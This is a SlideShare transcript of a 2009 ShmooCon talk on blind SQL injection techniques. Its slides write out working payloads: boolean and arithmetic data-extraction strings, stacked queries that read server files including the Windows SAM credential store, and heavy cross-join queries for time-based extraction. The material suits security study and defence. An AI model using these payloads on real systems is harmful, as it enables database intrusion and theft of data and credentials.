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![Arithmetic Blind SQL Injection Divide by zero (David Litchfield) Id=A+(1/(ASCII(B)-C)) A-> Param value originally used in the query. B -> Value we are searching for, e.g.: Substring(passwd,1,1) C-> Counter [0..255] When ASCII(B)=C, the DB will generate a divide by zero exception.](https://image.slidesharecdn.com/chemaalonsopalakoreplayingblindsqli-1234421775491782-1/75/ShmooCon-2009-Re-Playing-Blind-Sql-17-2048.jpg)
![Arithmetic Blind SQL Injection Sums and subtractions Id=A+ASCII(B)-C A-> Param value originally used in the query. B -> Value we are searching for, e.g.: Substring(passwd,1,1) C-> Counter [0..255] When ASCII(B)=C, then the response page of id=A+ASCII(B)-C will be the same as id=A](https://image.slidesharecdn.com/chemaalonsopalakoreplayingblindsqli-1234421775491782-1/75/ShmooCon-2009-Re-Playing-Blind-Sql-18-2048.jpg)
![Arithmetic Blind SQL Injection Value type overflow Id=A+((C/ASCII(B))*(K)) A-> Param value originally used in the query. B -> Value we are searching for, e.g.: Substring(passwd,1,1) C-> Counter [0..255] K-> Value that overflows the type defined for A (e.g. if A is integer, then K=2^ 32 ) When C/ASCII(B)==1, K*1 overflows the data type](https://image.slidesharecdn.com/chemaalonsopalakoreplayingblindsqli-1234421775491782-1/75/ShmooCon-2009-Re-Playing-Blind-Sql-19-2048.jpg)
![¿Preguntas? Speakers: Chema Alonso ( [email_address] ) Palako ( [email_address] ) Autores Chema Alonso ( [email_address] ) Alejandro Martín ( [email_address] ) Antonio Guzmán ( [email_address] ) Daniel Kachakil ( [email_address] ) José Palazón “Palako” ( [email_address] ) Marta Beltran ( [email_address] )](https://image.slidesharecdn.com/chemaalonsopalakoreplayingblindsqli-1234421775491782-1/75/ShmooCon-2009-Re-Playing-Blind-Sql-54-2048.jpg)
![Arithmetic Blind SQL Injection Divide by zero (David Litchfield) Id=A+(1/(ASCII(B)-C)) A-> Param value originally used in the query. B -> Value we are searching for, e.g.: Substring(passwd,1,1) C-> Counter [0..255] When ASCII(B)=C, the DB will generate a divide by zero exception.](https://crownmelresort.com/image.slidesharecdn.com/chemaalonsopalakoreplayingblindsqli-1234421775491782-1/75/ShmooCon-2009-Re-Playing-Blind-Sql-17-2048.jpg)
![Arithmetic Blind SQL Injection Sums and subtractions Id=A+ASCII(B)-C A-> Param value originally used in the query. B -> Value we are searching for, e.g.: Substring(passwd,1,1) C-> Counter [0..255] When ASCII(B)=C, then the response page of id=A+ASCII(B)-C will be the same as id=A](https://crownmelresort.com/image.slidesharecdn.com/chemaalonsopalakoreplayingblindsqli-1234421775491782-1/75/ShmooCon-2009-Re-Playing-Blind-Sql-18-2048.jpg)
![Arithmetic Blind SQL Injection Value type overflow Id=A+((C/ASCII(B))*(K)) A-> Param value originally used in the query. B -> Value we are searching for, e.g.: Substring(passwd,1,1) C-> Counter [0..255] K-> Value that overflows the type defined for A (e.g. if A is integer, then K=2^ 32 ) When C/ASCII(B)==1, K*1 overflows the data type](https://crownmelresort.com/image.slidesharecdn.com/chemaalonsopalakoreplayingblindsqli-1234421775491782-1/75/ShmooCon-2009-Re-Playing-Blind-Sql-19-2048.jpg)
![¿Preguntas? Speakers: Chema Alonso ( [email_address] ) Palako ( [email_address] ) Autores Chema Alonso ( [email_address] ) Alejandro Martín ( [email_address] ) Antonio Guzmán ( [email_address] ) Daniel Kachakil ( [email_address] ) José Palazón “Palako” ( [email_address] ) Marta Beltran ( [email_address] )](https://crownmelresort.com/image.slidesharecdn.com/chemaalonsopalakoreplayingblindsqli-1234421775491782-1/75/ShmooCon-2009-Re-Playing-Blind-Sql-54-2048.jpg)
Uploaded byChema Alonso
ShmooCon 2009 - (Re)Playing(Blind)Sql
The document discusses various techniques of SQL injection attacks, particularly focusing on blind SQL injection, where attackers can infer information without directly accessing data. It covers methods including arithmetic blind SQL injection, serialized SQL injection for data retrieval, and time-based blind SQL injection for exploiting response delays in databases. Additionally, tools like the Marathon tool are mentioned for automating these attacks and concludes with prevention strategies, emphasizing the importance of query sanitization.
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ShmooCon 2009 - (Re)Playing(Blind)Sql
- 1. (Re) Playing with(Blind) SQL Injection José Palazón “Palako” Mobile Security at Yahoo! Chema Alonso Informatica64 Microsoft MVP Enterprise Security
- 2. Spain (…not onlybulls…)
- 3. SQL Injection attackshttp://www.phrack.org/issues.html?id=8&issue=54 A long time ago, in a galaxy far, far away…
- 4. Agenda Serialized SQLInjection Demo: XML Extractor Arithmetic SQL Injection Divide by Zero Sums and subtractions Type oveflow Demo Remote File Downloading using Blind SQL Injection SQL Sever MySQL Oracle Demo: RFD Tool Time-Based Blind SQL Injection using heavy queries Demo: Marathon Tool
- 5.
- 6. Serialized SQL InjectionGoal: To Merge complex resultsets in a single showable field XML serialization functions allow to convert a resultset into a one XML string. It´s possible to download big amount of data with single and simple injections.
- 7. SQL Server FORXML: Retrieves data as a single string representing an XML tree. RAW: Mandatory option. Shows the information converting each row of the result set in an XML element in the form <row />. BINARY BASE64: The query will fail if we find any BINARY data type column (containing images, or passwords) if this option is not explicitly specified. union select '1','2','3',(select * from sysusers for xml raw, binary base64) XMLSCHEMA: obtains the whole table structure, including the data types, column names and other constraints. Described by Dani Kachakil
- 8. MySQL No defaultXML support, requires a server side extension GROUP_CONCAT (v 4.1+)
- 9. Oracle xmlforest, xmlelement,…No * support
- 10. Demo: Serialized SQLInjection
- 11. Arithmetic Blind SQLInjection
- 12. Blind Attacks Attackerinjects code but can´t access directly to the data. However this injection changes the behavior of the web application. Then the attacker looks for differences between true code injections (1=1) and false code injections (1=2) in the response pages to extract data. Blind SQL Injection Biind Xpath Injection Blind LDAP Injection
- 13. Blind SQL InjectionAttacks Attacker injects: “ True where clauses” “ False where clauses“ Ex: Program.php?id=1 and 1=1 Program.php?id=1 and 1=2 Program doesn’t return any visible data from database or data in error messages. The attacker can´t see any data extracted from the database.
- 14. Blind SQL InjectionAttacks Attacker analyzes the response pages looking for differences between “True-Answer Page” and “False-Answer Page”: Different hashes Different html structure Different patterns (keywords) Different linear ASCII sums “ Different behavior” By example: Response Time
- 15. Blind SQL InjectionAttacks If any difference exists, then: Attacker can extract all information from database How? Using “booleanization” MySQL: Program.php?id=1 and 100>(ASCII(Substring(user(),1,1))) “ True-Answer Page” or “False-Answer Page”? MSSQL: Program.php?id=1 and 100>(Select top 1 ASCII(Substring(name,1,1))) from sysusers) Oracle: Program.php?id=1 and 100>(Select ASCII(Substr(username,1,1))) from all_users where rownum<=1)
- 16. Arithmetic Blind SQLInjection The query force the parameter to be numeric SELECT field FROM table WHERE id=abs( param ) Boolean logic is created with math operations Divide by zero Sums and subtractions Type overflows
- 17. Arithmetic Blind SQLInjection Divide by zero (David Litchfield) Id=A+(1/(ASCII(B)-C)) A-> Param value originally used in the query. B -> Value we are searching for, e.g.: Substring(passwd,1,1) C-> Counter [0..255] When ASCII(B)=C, the DB will generate a divide by zero exception.
- 18. Arithmetic Blind SQLInjection Sums and subtractions Id=A+ASCII(B)-C A-> Param value originally used in the query. B -> Value we are searching for, e.g.: Substring(passwd,1,1) C-> Counter [0..255] When ASCII(B)=C, then the response page of id=A+ASCII(B)-C will be the same as id=A
- 19. Arithmetic Blind SQLInjection Value type overflow Id=A+((C/ASCII(B))*(K)) A-> Param value originally used in the query. B -> Value we are searching for, e.g.: Substring(passwd,1,1) C-> Counter [0..255] K-> Value that overflows the type defined for A (e.g. if A is integer, then K=2^ 32 ) When C/ASCII(B)==1, K*1 overflows the data type
- 20. Demo: Divideby zero Sums and subtractions Integer overflow
- 21. Remote File Downloadingusing Blind SQL Injection techniques
- 22. Accessing Files Twoways: Load the file in a temp table and i>(select top 1 ASCII(Substring(column)(file,pos,1)) from temp_table ?? Load the file in the query With every query the file is loaded in memory I am very sorry, engine and i>ASCII(Substring(load_file(file,pos,1))??
- 23. SQL Server 2K- External Data Sources Only for known filetypes: Access trough Drivers: Txt, csv, xls, mdb, log And 200>ASCII (SUBSTRING(SELECT * FROM OPENROWSET('MSDASQL', 'Driver = {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:\;','select top 1 * from c:\dir\target.txt’),1,1)) Privileges HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\ DisallowAdhocAccess=0 By default this key doesn´t exist so only users with Server Admin Role can use these functions. NTFS permissions
- 24. SQL Server 2K– Bulk option Access to any file ; Create Table TempTable as (row varchar(8000)) -- ; Bulk Insert TempTable From 'c:\file.ext' With (FIELDTERMINATOR = '\n', ROWTERMINATOR = '\n‘) -- ; alter table TempTable add num int IDENTITY(1,1) NOT NULL – and (select COUNT(row) from TempTable) and (select top 1 len(row) from TempTable where num = rownum) and (select top 1 ASCII(SUBSTRING(row,1,1)) from TempTable where num = 1) ; Drop Table TempTable-- Privileges needed Server Role: Bulkadmin Database Role: db_owner o db_ddladmin NTFS permissions
- 25. SQL Server 2k5– 2k8 OPENDATASOURCE and OPENROWSET supported Bulk options improved AND 256 > ASCII(SUBSTRING ((SELECT * FROM OPENROWSET(BULK 'c:\windows\repair\sam', SINGLE_BLOB) As Data), 1, 1))— Permisions Bulkadmin Server Role External Data Sources enabled Sp_configure Surface configuration Tool for features
- 26. MySQL LoadFile SELECTLOAD_FILE(0x633A5C626F6F742E696E69) SQLbfTools: MySQLget command (illo and dab) http://www.reversing.org/node/view/11 Load Data infile ; Create table C8DFC643 (datos varchar(4000)) ; Load data infile 'c:\\boot.ini' into table C8DFC643 ; alter table C8DFC643 add column num integer auto_increment unique key and (select count(num) from C8DFC643) and (select length(datos) from C8DFC643 where num = 1) and (select ASCII(substring(datos,5,1)) from C8DFC643 where num = 1) ; Drop table C8DFC643
- 27. Oracle – PlainText files External Tables ; execute immediate 'Create Directory A4A9308C As ''c:\'' '; end; -- ; execute immediate 'Create table A737D141 ( datos varchar2(4000) ) organization external (TYPE ORACLE_LOADER default directory A4A9308C access parameters ( records delimited by newline ) location (''boot.ini''))'; end;-- Only Plain Text files
- 28. Oracle – DBMS_LOB; execute immediate ‘ DECLARE l_bfile BFILE; l_blob BLOB; BEGIN INSERT INTO A737D141 (datos) VALUES (EMPTY_BLOB()) RETURN datos INTO l_blob; l_bfile := BFILENAME(''A4A9308C'', ''Picture.bmp''); DBMS_LOB.fileopen(l_bfile, Dbms_Lob.File_Readonly); DBMS_LOB.loadfromfile(l_blob,l_bfile,DBMS_LOB.getlength(l_bfile)); DBMS_LOB.fileclose(l_bfile); COMMIT; EXCEPTION WHEN OTHERS THEN ROLLBACK; END;‘ ; end; --
- 29.
- 30. Time-based Blind SQLInjection using heavy queries
- 31. Time-Based Blind SQLInjection In scenarios with no differences between “True-Answer Page” and “False-Answer Page”, time delays can be used. Injection forces a delay in the response page when the condition injected is True. - Delay functions: SQL Server: waitfor Oracle: dbms_lock.sleep MySQL: sleep or Benchmark Function Postgres: pg_sleep Ex: ; if (exists(select * from users)) waitfor delay '0:0:5’
- 32. Exploit for SolarEmpire Web Game
- 33. Deep Blind SQLInjection Time delay depends on the wanted value. E.g. “a”->10s. delay, “b”->11s. Delay, … http://labs.portcullis.co.uk/application/deep-blind-sql-injection/
- 34. Time-Based Blind SQLInjection What about databases engines without delay functions, i.e., MS Access, Oracle connection without PL/SQL support, DB2, etc…? Can we still perform an exploitation of Time-Based Blind SQL Injection Attacks?
- 35.
- 36. “ Where-Clause” executionorder Select “whatever “ From whatever Where condition1 and condition2 - Condition1 lasts 10 seconds - Condition2 lasts 100 seconds Which condition should be executed first?
- 37. The heavy conditionfirst Condition2 (100 sec) Condition1 (10 sec) Condition2 & condition1 Response Time TRUE FALSE FALSE 110 sec TRUE TRUE TRUE 110 sec FALSE Not evaluated FALSE 100 sec
- 38. The light conditionfirst Condition1 (10 sec) Condition2 (100 sec) Condition1 & condition2 Response Time TRUE FALSE FALSE 110 sec TRUE TRUE TRUE 110 sec FALSE Not evaluated FALSE 10 sec
- 39. Time-Based Blind SQLInjection using Heavy Queries Attacker can perform an exploitation delaying the “True-answer page” using a heavy query. It depends on how the database engine evaluates the where clauses in the query. There are two types of database engines: Databases without optimization process Databases with optimization process
- 40. Time-Based Blind SQLInjection using Heavy Queries Attacker could inject a heavy Cross-Join condition for delaying the response page in True-Injections. The Cross-join injection must be heavier than the other condition. Attacker only have to know or to guess the name of a table with select permission in the database. Example in MSSQL: Program.php?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)
- 41. “ Default” tablesto construct a heavy query Microsoft SQL Server sysusers Oracle all_users MySQL (versión 5) information_schema.columns Microsoft Access MSysAccessObjects (97 & 2000 versions) MSysAccessStorage (2003 & 2007)
- 42. “ Default” tablesto construct a heavy query … or whatever you can guess Clients Customers News Logins Users Providers … .Use your imagination…
- 43. Ex 1: MSSQL Server Query lasts 14 seconds -> True-Answer
- 44. Ex 1: MSSQL Server Query lasts 1 second -> False-Answer
- 45. Ex 2: OracleQuery Lasts 22 seconds –> True-Answer
- 46. Ex 2: OracleQuery Lasts 1 second –> False-Answer
- 47. Ex 3: Access2000 Query Lasts 6 seconds –> True-Answer
- 48. Ex 3: Access2000 Query Lasts 1 second –> False-Answer
- 49. Ex 4: Access2007 Query Lasts 39 seconds –> True-Answer
- 50. Ex 4: Access2007 Query Lasts 1 second –> False-Answer
- 51. Marathon Tool AutomatesTime-Based Blind SQL Injection Attacks using Heavy Queries in SQL Server, MySQL, MS Access and Oracle Databases. Schema Extraction from known databases Extract data using heavy queries not matter in which database engine (without schema) Developed in .NET Source code available
- 52.
- 53. Prevention: Don´tforget Bobby Tables! SANITIZE YOUR QUERIES!
- 54. ¿Preguntas? Speakers: ChemaAlonso ( [email_address] ) Palako ( [email_address] ) Autores Chema Alonso ( [email_address] ) Alejandro Martín ( [email_address] ) Antonio Guzmán ( [email_address] ) Daniel Kachakil ( [email_address] ) José Palazón “Palako” ( [email_address] ) Marta Beltran ( [email_address] )